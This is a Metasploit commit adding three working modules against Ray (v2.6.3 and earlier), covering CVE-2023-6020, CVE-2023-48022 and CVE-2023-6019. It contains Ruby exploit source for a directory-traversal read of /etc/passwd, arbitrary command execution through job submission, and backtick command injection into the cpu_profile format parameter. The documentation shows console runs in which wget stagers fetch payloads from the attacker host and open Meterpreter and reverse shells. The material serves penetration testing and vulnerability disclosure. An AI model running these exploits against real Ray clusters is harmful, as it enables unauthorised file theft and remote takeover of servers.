Land #19363, Ray Modules CVE-2023-6019 CVE-2023-6020 CVE-2023-48022
This commit is contained in:
@@ -0,0 +1,76 @@
|
||||
## Vulnerable Application
|
||||
|
||||
Ray (<=v2.6.3) is vulnerable to local file inclusion (CVE-2023-6020)
|
||||
|
||||
The vulnerability affects:
|
||||
|
||||
* Ray (<=v2.6.3)
|
||||
|
||||
This module was successfully tested on:
|
||||
|
||||
* Ray (v2.6.3) installed with Docker on Kali Linux 6.6.15
|
||||
|
||||
### Install and run the vulnerable Ray (v2.6.3)
|
||||
|
||||
1. Install your favorite virtualization engine (VirtualBox or VMware) on your preferred platform.
|
||||
2. Install Kali Linux (or other Linux distro) in your virtualization engine.
|
||||
3. Pull pre-built Ray docker container (v2.6.3) in your VM.
|
||||
`docker pull rayproject/ray:2.6.3`
|
||||
4. Start the ray container.
|
||||
`docker run --shm-size=512M -it -p 8265:8265 rayproject/ray:2.6.3`
|
||||
5. Start ray.
|
||||
`ray start --head --dashboard-host=0.0.0.0`
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install the application
|
||||
2. Start msfconsole
|
||||
3. Do: `use auxiliary/gather/ray_lfi_cve_2023_6020`
|
||||
4. Do: `set rhost <rhost>`
|
||||
5. Do: `run`
|
||||
6. You should get a file content
|
||||
|
||||
## Options
|
||||
|
||||
### FILEPATH (Required)
|
||||
|
||||
This is the file to read. Default is `/etc/passwd`.
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Ray (v2.6.3) installed with Docker on Kali Linux 6.6.15
|
||||
```
|
||||
msf6 > use auxiliary/gather/ray_lfi_cve_2023_6020
|
||||
msf6 auxiliary(gather/ray_lfi_cve_2023_6020) > set rhost 192.168.56.6
|
||||
rhost => 192.168.56.6
|
||||
msf6 auxiliary(gather/ray_lfi_cve_2023_6020) > check
|
||||
[+] 192.168.56.6:8265 - The target is vulnerable.
|
||||
msf6 auxiliary(gather/ray_lfi_cve_2023_6020) > run
|
||||
[*] Running module against 192.168.56.6
|
||||
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target is vulnerable.
|
||||
[+] /etc/passwd
|
||||
root:x:0:0:root:/root:/bin/bash
|
||||
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
|
||||
bin:x:2:2:bin:/bin:/usr/sbin/nologin
|
||||
sys:x:3:3:sys:/dev:/usr/sbin/nologin
|
||||
sync:x:4:65534:sync:/bin:/bin/sync
|
||||
games:x:5:60:games:/usr/games:/usr/sbin/nologin
|
||||
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
|
||||
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
|
||||
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
|
||||
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
|
||||
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
|
||||
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
|
||||
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
|
||||
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
|
||||
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
|
||||
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
|
||||
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
|
||||
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
|
||||
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
|
||||
ray:x:1000:100::/home/ray:/bin/bash
|
||||
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
@@ -0,0 +1,103 @@
|
||||
## Vulnerable Application
|
||||
|
||||
Ray (<=v2.6.3) is vulnerable to RCE via the agent job submission endpoint (CVE-2023-48022)
|
||||
|
||||
The vulnerability affects:
|
||||
|
||||
* Ray (<=v2.6.3)
|
||||
|
||||
This module was successfully tested on:
|
||||
|
||||
* Ray (v2.6.3) installed with Docker on Kali Linux 6.6.15
|
||||
|
||||
### Install and run the vulnerable Ray (v2.6.3)
|
||||
|
||||
1. Install your favorite virtualization engine (VirtualBox or VMware) on your preferred platform.
|
||||
2. Install Kali Linux (or other Linux distro) in your virtualization engine.
|
||||
3. Pull pre-built Ray docker container (v2.6.3) in your VM.
|
||||
`docker pull rayproject/ray:2.6.3`
|
||||
4. Start the ray container.
|
||||
`docker run --shm-size=512M -it -p 8265:8265 rayproject/ray:2.6.3`
|
||||
5. Start ray.
|
||||
`ray start --head --dashboard-host=0.0.0.0`
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install the application
|
||||
2. Start msfconsole
|
||||
3. Do: `use exploit/linux/http/ray_agent_job_rce`
|
||||
4. Do: `set rhost <rhost>`
|
||||
5. Do: `set lhost <attacker-ip>`
|
||||
6. Do: `run`
|
||||
7. You should get a shell or meterpreter
|
||||
|
||||
## Options
|
||||
No options
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Ray (v2.6.3) installed with Docker on Kali Linux 6.6.15 (target 0)
|
||||
```
|
||||
msf6 > use exploit/linux/http/ray_agent_job_rce
|
||||
[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp
|
||||
msf6 exploit(linux/http/ray_agent_job_rce) > set rhost 192.168.56.6
|
||||
rhost => 192.168.56.6
|
||||
msf6 exploit(linux/http/ray_agent_job_rce) > set lhost 192.168.56.1
|
||||
lhost => 192.168.56.1
|
||||
msf6 exploit(linux/http/ray_agent_job_rce) > check
|
||||
[*] 192.168.56.6:8265 - The service is running, but could not be validated.
|
||||
msf6 exploit(linux/http/ray_agent_job_rce) > run
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.56.1:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[!] The service is running, but could not be validated.
|
||||
[+] Command execution successful. Job ID: 'raysubmit_EJDSK2BrhAP8j69n' Submission ID: 'raysubmit_EJDSK2BrhAP8j69n'
|
||||
[*] Using URL: http://192.168.56.1:8080/kOZWO5HA3wWm2Hh
|
||||
[*] Command Stager progress - 100.00% done (120/120 bytes)
|
||||
[*] Client 192.168.56.6 (Wget/1.20.3 (linux-gnu)) requested /kOZWO5HA3wWm2Hh
|
||||
[*] Sending payload to 192.168.56.6 (Wget/1.20.3 (linux-gnu))
|
||||
[*] Sending stage (3045380 bytes) to 192.168.56.6
|
||||
[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.6:42052) at 2024-08-10 10:45:48 +0900
|
||||
[*] Server stopped.
|
||||
|
||||
meterpreter > sysinfo
|
||||
Computer : 172.17.0.2
|
||||
OS : Ubuntu 20.04 (Linux 6.6.15-amd64)
|
||||
Architecture : x64
|
||||
BuildTuple : x86_64-linux-musl
|
||||
Meterpreter : x64/linux
|
||||
```
|
||||
|
||||
### Ray (v2.6.3) installed with Docker on Kali Linux 6.6.15 (target 1)
|
||||
```
|
||||
msf6 > use exploit/linux/http/ray_agent_job_rce
|
||||
[*] Using configured payload linux/x64/meterpreter/reverse_tcp
|
||||
msf6 exploit(linux/http/ray_agent_job_rce) > set rhost 192.168.56.6
|
||||
rhost => 192.168.56.6
|
||||
msf6 exploit(linux/http/ray_agent_job_rce) > set lhost 192.168.56.1
|
||||
lhost => 192.168.56.1
|
||||
msf6 exploit(linux/http/ray_agent_job_rce) > set target 1
|
||||
target => 1
|
||||
msf6 exploit(linux/http/ray_agent_job_rce) > set payload linux/x86/shell/reverse_tcp
|
||||
payload => linux/x86/shell/reverse_tcp
|
||||
msf6 exploit(linux/http/ray_agent_job_rce) > check
|
||||
[*] 192.168.56.6:8265 - The service is running, but could not be validated.
|
||||
msf6 exploit(linux/http/ray_agent_job_rce) > run
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.56.1:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[!] The service is running, but could not be validated.
|
||||
[+] Command execution successful. Job ID: 'raysubmit_RNpiJJt2feNrUrwN' Submission ID: 'raysubmit_RNpiJJt2feNrUrwN'
|
||||
[*] Using URL: http://192.168.56.1:8080/QtpKXmqA8kq
|
||||
[*] Command Stager progress - 100.00% done (116/116 bytes)
|
||||
[*] Client 192.168.56.6 (Wget/1.20.3 (linux-gnu)) requested /QtpKXmqA8kq
|
||||
[*] Sending payload to 192.168.56.6 (Wget/1.20.3 (linux-gnu))
|
||||
[*] Sending stage (36 bytes) to 192.168.56.6
|
||||
[*] Command shell session 2 opened (192.168.56.1:4444 -> 192.168.56.6:35136) at 2024-08-10 10:47:37 +0900
|
||||
[*] Server stopped.
|
||||
|
||||
whoami
|
||||
ray
|
||||
pwd
|
||||
/home/ray
|
||||
```
|
||||
+103
@@ -0,0 +1,103 @@
|
||||
## Vulnerable Application
|
||||
|
||||
Ray (<=v2.6.3) is vulnerable to RCE via cpu_profile command injection vulnerability (CVE-2023-6019)
|
||||
|
||||
The vulnerability affects:
|
||||
|
||||
* Ray (<=v2.6.3)
|
||||
|
||||
This module was successfully tested on:
|
||||
|
||||
* Ray (v2.6.3) installed with Docker on Kali Linux 6.6.15
|
||||
|
||||
### Install and run the vulnerable Ray (v2.6.3)
|
||||
|
||||
1. Install your favorite virtualization engine (VirtualBox or VMware) on your preferred platform.
|
||||
2. Install Kali Linux (or other Linux distro) in your virtualization engine.
|
||||
3. Pull pre-built Ray docker container (v2.6.3) in your VM.
|
||||
`docker pull rayproject/ray:2.6.3`
|
||||
4. Start the ray container.
|
||||
`docker run --shm-size=512M -it -p 8265:8265 rayproject/ray:2.6.3`
|
||||
5. Start ray.
|
||||
`ray start --head --dashboard-host=0.0.0.0`
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install the application
|
||||
2. Start msfconsole
|
||||
3. Do: `use exploit/linux/http/ray_cpu_profile_cmd_injection_cve_2023_6019`
|
||||
4. Do: `set rhost <rhost>`
|
||||
5. Do: `set lhost <attacker-ip>`
|
||||
6. Do: `run`
|
||||
7. You should get a shell or meterpreter
|
||||
|
||||
## Options
|
||||
No options
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Ray (v2.6.3) installed with Docker on Kali Linux 6.6.15 (target 0)
|
||||
```
|
||||
msf6 > use exploit/linux/http/ray_cpu_profile_cmd_injection_cve_2023_6019
|
||||
[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp
|
||||
msf6 exploit(linux/http/ray_cpu_profile_cmd_injection_cve_2023_6019) > set rhost 192.168.56.6
|
||||
rhost => 192.168.56.6
|
||||
msf6 exploit(linux/http/ray_cpu_profile_cmd_injection_cve_2023_6019) > set lhost 192.168.56.1
|
||||
lhost => 192.168.56.1
|
||||
msf6 exploit(linux/http/ray_cpu_profile_cmd_injection_cve_2023_6019) > check
|
||||
[*] 192.168.56.6:8265 - The service is running, but could not be validated.
|
||||
msf6 exploit(linux/http/ray_cpu_profile_cmd_injection_cve_2023_6019) > run
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.56.1:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[!] The service is running, but could not be validated.
|
||||
[+] Grabbed node info, pid: 129, ip: 172.17.0.2
|
||||
[*] Using URL: http://192.168.56.1:8080/2W4ZJ30NqjnfoGE
|
||||
[*] Client 192.168.56.6 (Wget/1.20.3 (linux-gnu)) requested /2W4ZJ30NqjnfoGE
|
||||
[*] Sending payload to 192.168.56.6 (Wget/1.20.3 (linux-gnu))
|
||||
[*] Sending stage (3045380 bytes) to 192.168.56.6
|
||||
[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.6:59072) at 2024-08-10 10:29:05 +0900
|
||||
[*] Command Stager progress - 100.00% done (120/120 bytes)
|
||||
[*] Server stopped.
|
||||
|
||||
meterpreter > sysinfo
|
||||
Computer : 172.17.0.2
|
||||
OS : Ubuntu 20.04 (Linux 6.6.15-amd64)
|
||||
Architecture : x64
|
||||
BuildTuple : x86_64-linux-musl
|
||||
Meterpreter : x64/linux
|
||||
```
|
||||
|
||||
### Ray (v2.6.3) installed with Docker on Kali Linux 6.6.15 (target 1)
|
||||
```
|
||||
msf6 > use exploit/linux/http/ray_cpu_profile_cmd_injection_cve_2023_6019
|
||||
[*] Using configured payload linux/x64/meterpreter/reverse_tcp
|
||||
msf6 exploit(linux/http/ray_cpu_profile_cmd_injection_cve_2023_6019) > set rhost 192.168.56.6
|
||||
rhost => 192.168.56.6
|
||||
msf6 exploit(linux/http/ray_cpu_profile_cmd_injection_cve_2023_6019) > set lhost 192.168.56.1
|
||||
lhost => 192.168.56.1
|
||||
msf6 exploit(linux/http/ray_cpu_profile_cmd_injection_cve_2023_6019) > set target 1
|
||||
target => 1
|
||||
msf6 exploit(linux/http/ray_cpu_profile_cmd_injection_cve_2023_6019) > set payload linux/x86/shell/reverse_tcp
|
||||
payload => linux/x86/shell/reverse_tcp
|
||||
msf6 exploit(linux/http/ray_cpu_profile_cmd_injection_cve_2023_6019) > check
|
||||
[*] 192.168.56.6:8265 - The service is running, but could not be validated.
|
||||
msf6 exploit(linux/http/ray_cpu_profile_cmd_injection_cve_2023_6019) > run
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.56.1:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[!] The service is running, but could not be validated.
|
||||
[+] Grabbed node info, pid: 129, ip: 172.17.0.2
|
||||
[*] Using URL: http://192.168.56.1:8080/Mz2SC2mlSp
|
||||
[*] Client 192.168.56.6 (Wget/1.20.3 (linux-gnu)) requested /Mz2SC2mlSp
|
||||
[*] Sending payload to 192.168.56.6 (Wget/1.20.3 (linux-gnu))
|
||||
[*] Sending stage (36 bytes) to 192.168.56.6
|
||||
[*] Command shell session 2 opened (192.168.56.1:4444 -> 192.168.56.6:59210) at 2024-08-10 10:30:49 +0900
|
||||
[*] Command Stager progress - 100.00% done (115/115 bytes)
|
||||
[*] Server stopped.
|
||||
|
||||
whoami
|
||||
ray
|
||||
pwd
|
||||
/home/ray
|
||||
```
|
||||
@@ -0,0 +1,82 @@
|
||||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Auxiliary
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Auxiliary::Report
|
||||
prepend Msf::Exploit::Remote::AutoCheck
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'Ray static arbitrary file read',
|
||||
'Description' => %q{
|
||||
Ray before 2.8.1 is vulnerable to a local file inclusion.
|
||||
},
|
||||
'Author' => [
|
||||
'byt3bl33d3r <marcello@protectai.com>', # Python Metasploit module
|
||||
'danmcinerney <dan@protectai.com>', # Python Metasploit module
|
||||
'Takahiro Yokoyama' # Metasploit module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' => [
|
||||
['CVE', '2023-6020'],
|
||||
['URL', 'https://huntr.com/bounties/83dd8619-6dc3-4c98-8f1b-e620fedcd1f6/'],
|
||||
['URL', 'https://github.com/protectai/ai-exploits/tree/main/ray']
|
||||
],
|
||||
'DisclosureDate' => '2023-11-15',
|
||||
'Notes' => {
|
||||
'Stability' => [ CRASH_SAFE, ],
|
||||
'SideEffects' => [ IOC_IN_LOGS, ],
|
||||
'Reliability' => []
|
||||
}
|
||||
)
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(8265),
|
||||
OptString.new('FILEPATH', [ true, 'File to read', '/etc/passwd'])
|
||||
]
|
||||
)
|
||||
end
|
||||
|
||||
def check
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, 'api/version')
|
||||
})
|
||||
return Exploit::CheckCode::Unknown unless res && res.code == 200
|
||||
|
||||
ray_version = res.get_json_document['ray_version']
|
||||
|
||||
return Exploit::CheckCode::Unknown unless ray_version
|
||||
|
||||
return Exploit::CheckCode::Safe unless Rex::Version.new(ray_version) <= Rex::Version.new('2.6.3')
|
||||
|
||||
file_content = lfi('/etc/passwd')
|
||||
return Exploit::CheckCode::Vulnerable unless file_content.nil?
|
||||
|
||||
Exploit::CheckCode::Appears
|
||||
end
|
||||
|
||||
def lfi(filepath)
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, "static/js/../../../../../../../../../../../../../..#{filepath}")
|
||||
})
|
||||
return unless res && res.code == 200
|
||||
|
||||
res.body
|
||||
end
|
||||
|
||||
def run
|
||||
file_content = lfi(datastore['FILEPATH'])
|
||||
fail_with(Failure::Unknown, 'Failed to execute LFI') unless file_content
|
||||
print_good("#{datastore['FILEPATH']}\n#{file_content}")
|
||||
end
|
||||
|
||||
end
|
||||
@@ -0,0 +1,125 @@
|
||||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::CmdStager
|
||||
prepend Msf::Exploit::Remote::AutoCheck
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'Ray Agent Job RCE',
|
||||
'Description' => %q{
|
||||
RCE in Ray via the agent job submission endpoint.
|
||||
This is intended functionality as Ray's main purpose is executing arbitrary workloads.
|
||||
By default Ray has no authentication.
|
||||
},
|
||||
'Author' => [
|
||||
'sierrabearchell', # Vulnerability discovery
|
||||
'byt3bl33d3r <marcello@protectai.com>', # Python Metasploit module
|
||||
'Takahiro Yokoyama' # Metasploit module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' => [
|
||||
['CVE', '2023-48022'],
|
||||
['URL', 'https://huntr.com/bounties/b507a6a0-c61a-4508-9101-fceb572b0385/'],
|
||||
['URL', 'https://huntr.com/bounties/787a07c0-5535-469f-8c53-3efa4e5717c7/']
|
||||
],
|
||||
'CmdStagerFlavor' => %i[wget],
|
||||
'Payload' => {
|
||||
'DisableNops' => true
|
||||
},
|
||||
'Platform' => %w[linux],
|
||||
'Targets' => [
|
||||
[ 'Linux x64', { 'Arch' => ARCH_X64, 'Platform' => 'linux' } ],
|
||||
[ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ],
|
||||
[ 'Linux aarch64', { 'Arch' => ARCH_AARCH64, 'Platform' => 'linux' } ],
|
||||
[
|
||||
'Linux Command', {
|
||||
'Arch' => [ ARCH_CMD ], 'Platform' => [ 'unix', 'linux' ], 'Type' => :nix_cmd,
|
||||
'DefaultOptions' => {
|
||||
'PAYLOAD' => 'cmd/linux/http/x64/meterpreter_reverse_tcp',
|
||||
'FETCH_COMMAND' => 'WGET',
|
||||
'MeterpreterTryToFork' => true
|
||||
}
|
||||
}
|
||||
]
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'DisclosureDate' => '2023-11-15',
|
||||
'Notes' => {
|
||||
'Stability' => [ CRASH_SAFE, ],
|
||||
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],
|
||||
'Reliability' => [ REPEATABLE_SESSION, ]
|
||||
}
|
||||
)
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(8265),
|
||||
]
|
||||
)
|
||||
end
|
||||
|
||||
def get_job_data(cmd)
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, 'api/jobs/'),
|
||||
'data' => { 'entrypoint' => cmd }.to_json
|
||||
})
|
||||
unless res && res.code == 200
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, 'api/job_agent/jobs/'),
|
||||
'data' => { 'entrypoint' => cmd }.to_json
|
||||
})
|
||||
end
|
||||
return unless res && res.code == 200
|
||||
|
||||
JSON.parse(res.body)
|
||||
end
|
||||
|
||||
def check
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, 'api/version')
|
||||
})
|
||||
return Exploit::CheckCode::Unknown unless res && res.code == 200
|
||||
|
||||
ray_version = res.get_json_document['ray_version']
|
||||
|
||||
return Exploit::CheckCode::Unknown unless ray_version
|
||||
|
||||
return Exploit::CheckCode::Safe unless Rex::Version.new(ray_version) <= Rex::Version.new('2.6.3')
|
||||
|
||||
@job_data = get_job_data('ls')
|
||||
return Exploit::CheckCode::Vulnerable unless @job_data.nil?
|
||||
|
||||
Exploit::CheckCode::Appears
|
||||
end
|
||||
|
||||
def exploit
|
||||
@job_data ||= get_job_data('ls')
|
||||
if @job_data
|
||||
print_good("Command execution successful. Job ID: '#{@job_data['job_id']}' Submission ID: '#{@job_data['submission_id']}'")
|
||||
end
|
||||
case target['Type']
|
||||
when :nix_cmd
|
||||
execute_command(payload.encoded)
|
||||
else
|
||||
execute_cmdstager({ flavor: :wget })
|
||||
end
|
||||
end
|
||||
|
||||
def execute_command(cmd, _opts = {})
|
||||
get_job_data(cmd)
|
||||
end
|
||||
|
||||
end
|
||||
@@ -0,0 +1,130 @@
|
||||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::CmdStager
|
||||
prepend Msf::Exploit::Remote::AutoCheck
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'Ray cpu_profile command injection',
|
||||
'Description' => %q{
|
||||
Ray RCE via cpu_profile command injection vulnerability.
|
||||
},
|
||||
'Author' => [
|
||||
'sierrabearchell', # Vulnerability discovery
|
||||
'byt3bl33d3r <marcello@protectai.com>', # Python Metasploit module
|
||||
'Takahiro Yokoyama' # Metasploit module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' => [
|
||||
['CVE', '2023-6019'],
|
||||
['URL', 'https://huntr.com/bounties/d0290f3c-b302-4161-89f2-c13bb28b4cfe/'],
|
||||
],
|
||||
'CmdStagerFlavor' => %i[wget],
|
||||
'Payload' => {
|
||||
'DisableNops' => true
|
||||
},
|
||||
'Platform' => %w[linux],
|
||||
'Targets' => [
|
||||
[ 'Linux x64', { 'Arch' => ARCH_X64, 'Platform' => 'linux' } ],
|
||||
[ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ],
|
||||
[ 'Linux aarch64', { 'Arch' => ARCH_AARCH64, 'Platform' => 'linux' } ],
|
||||
[
|
||||
'Linux Command', {
|
||||
'Arch' => [ ARCH_CMD ], 'Platform' => [ 'unix', 'linux' ], 'Type' => :nix_cmd,
|
||||
'DefaultOptions' => {
|
||||
'PAYLOAD' => 'cmd/linux/http/x64/meterpreter_reverse_tcp',
|
||||
'FETCH_COMMAND' => 'WGET'
|
||||
}
|
||||
}
|
||||
]
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'DisclosureDate' => '2023-11-15',
|
||||
'Notes' => {
|
||||
'Stability' => [ CRASH_SAFE, ],
|
||||
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],
|
||||
'Reliability' => [ REPEATABLE_SESSION, ]
|
||||
}
|
||||
)
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(8265),
|
||||
]
|
||||
)
|
||||
end
|
||||
|
||||
def get_nodes
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, 'nodes?view=summary')
|
||||
})
|
||||
return unless res && res.code == 200
|
||||
|
||||
JSON.parse(res.body)
|
||||
end
|
||||
|
||||
def check
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, 'api/version')
|
||||
})
|
||||
return Exploit::CheckCode::Unknown unless res && res.code == 200
|
||||
|
||||
ray_version = res.get_json_document['ray_version']
|
||||
|
||||
return Exploit::CheckCode::Unknown unless ray_version
|
||||
|
||||
ray_version = Rex::Version.new(ray_version)
|
||||
return Exploit::CheckCode::Safe unless Rex::Version.new('2.2.0') <= ray_version && ray_version <= Rex::Version.new('2.6.3')
|
||||
|
||||
@nodes = get_nodes
|
||||
return Exploit::CheckCode::Vulnerable unless @nodes.nil?
|
||||
|
||||
Exploit::CheckCode::Appears
|
||||
end
|
||||
|
||||
def exploit
|
||||
# We need to pass valid node info to /worker/cpu_profile for the server to process the request
|
||||
# First we list all nodes and grab the pid and ip of the first one (could be any)
|
||||
@nodes ||= get_nodes
|
||||
fail_with(Failure::Unknown, 'Failed to get nodes') unless @nodes
|
||||
first_node = @nodes['data']['summary'].first
|
||||
fail_with(Failure::Unknown, 'Failed to get pid') unless first_node.key?('agent') && first_node['agent'].key?('pid')
|
||||
pid = first_node['agent']['pid']
|
||||
fail_with(Failure::Unknown, 'Failed to get ip') unless first_node.key?('ip')
|
||||
ip = first_node['ip']
|
||||
print_good("Grabbed node info, pid: #{pid}, ip: #{ip}")
|
||||
case target['Type']
|
||||
when :nix_cmd
|
||||
execute_command(payload.encoded, { pid: pid, ip: ip })
|
||||
else
|
||||
execute_cmdstager({ flavor: :wget, pid: pid, ip: ip })
|
||||
end
|
||||
end
|
||||
|
||||
def execute_command(cmd, opts = {})
|
||||
send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, 'worker/cpu_profile'),
|
||||
'vars_get' => {
|
||||
'pid' => opts[:pid],
|
||||
'ip' => opts[:ip],
|
||||
'duration' => 5,
|
||||
'native' => 0,
|
||||
'format' => "`#{cmd}`"
|
||||
}
|
||||
})
|
||||
end
|
||||
|
||||
end
|
||||
Reference in New Issue
Block a user